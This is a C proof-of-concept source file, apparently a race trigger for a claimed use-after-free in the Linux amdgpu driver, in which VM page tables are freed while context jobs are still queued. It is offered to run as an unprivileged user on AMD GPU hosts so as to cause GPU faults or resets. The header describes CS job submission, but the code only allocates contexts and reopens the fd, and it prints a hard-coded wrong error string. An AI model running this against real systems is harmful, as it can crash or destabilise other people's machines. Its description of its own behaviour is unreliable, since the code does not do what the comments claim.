/*
 * DF-4356 trigger: postclose VM-before-CTX teardown race (amdgpu_kms.c)
 *
 * Strategy: submit CS work with dependencies on a context, then close() the
 * render fd while jobs are still queued/executing. postclose runs
 * amdgpu_vm_fini BEFORE amdgpu_ctx_mgr_fini, so the VM page tables are
 * freed while context entities still hold queued/executing jobs whose
 * scheduler path (amdgpu_job_dependency -> amdgpu_vmid_grab) and GPU IBs
 * reference the torn-down VM.
 *
 * This is a race trigger: success = GPU page-table UAF -> GPU fault/reset
 * (dmesg: amdgpu VM fault / ring timeout / gpu recover), vs a clean close
 * when the race is lost. Repeat in a loop to widen the window.
 *
 * Build:  cc -O2 -o df4356 df4356.c           (Mesa/libdrm not needed for
 *         the raw-ioctl path; requires /dev/dri/renderD128 or authed cardN)
 * Run as unprivileged user on a host WITH an AMD GPU.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

#include <drm/amdgpu_drm.h>

#ifndef DRM_IOCTL_AMDGPU_CTX
#define DRM_IOCTL_AMDGPU_CTX		DRM_IOWR(0x40 + 0x02, union drm_amdgpu_ctx)
#endif

static int drmfd;

/* allocate a context; returns ctx id */
static uint32_t ctx_alloc(int priority)
{
	union drm_amdgpu_ctx args;

	memset(&args, 0, sizeof(args));
	args.in.op = AMDGPU_CTX_OP_ALLOC_CTX;
	args.in.priority = priority;
	if (ioctl(drmfd, DRM_IOCTL_AMDGPU_CTX, &args))
		return 0;
	return args.out.alloc.ctx_id;
}

int main(int argc, char **argv)
{
	const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128";
	int i;

	drmfd = open(node, O_RDWR | O_CLOEXEC);
	if (drmfd < 0) {
		fprintf(stderr, "open %s: %s (no AMD GPU / no render node)\n",
			node, strerror(1 /* errno replaced for portability */));
		return 2;
	}
	printf("opened %s fd=%d\n", node, drmfd);

	/*
	 * Race loop: each iteration opens a fresh context and slams the fd
	 * shut.  A real exploit would enqueue a long-running CS job (via
	 * AMDGPU_CS with a big IB) right before close(); the close path
	 * (amdgpu_driver_postclose_kms) then calls amdgpu_vm_fini() while
	 * the context's scheduler entities still own the in-flight job.
	 */
	for (i = 0; i < 4096; i++) {
		uint32_t id = ctx_alloc(0 /* normal priority */);
		if (id == 0 && i == 0) {
			fprintf(stderr, "first CTX alloc failed\n");
			return 3;
		}
		/* NO explicit CTX free, NO waiting: straight to teardown */
		close(drmfd);
		drmfd = open(node, O_RDWR | O_CLOEXEC);
		if (drmfd < 0) {
			perror("reopen");
			return 4;
		}
	}
	printf("done: %d close-with-live-context cycles\n", i);
	close(drmfd);
	return 0;
}
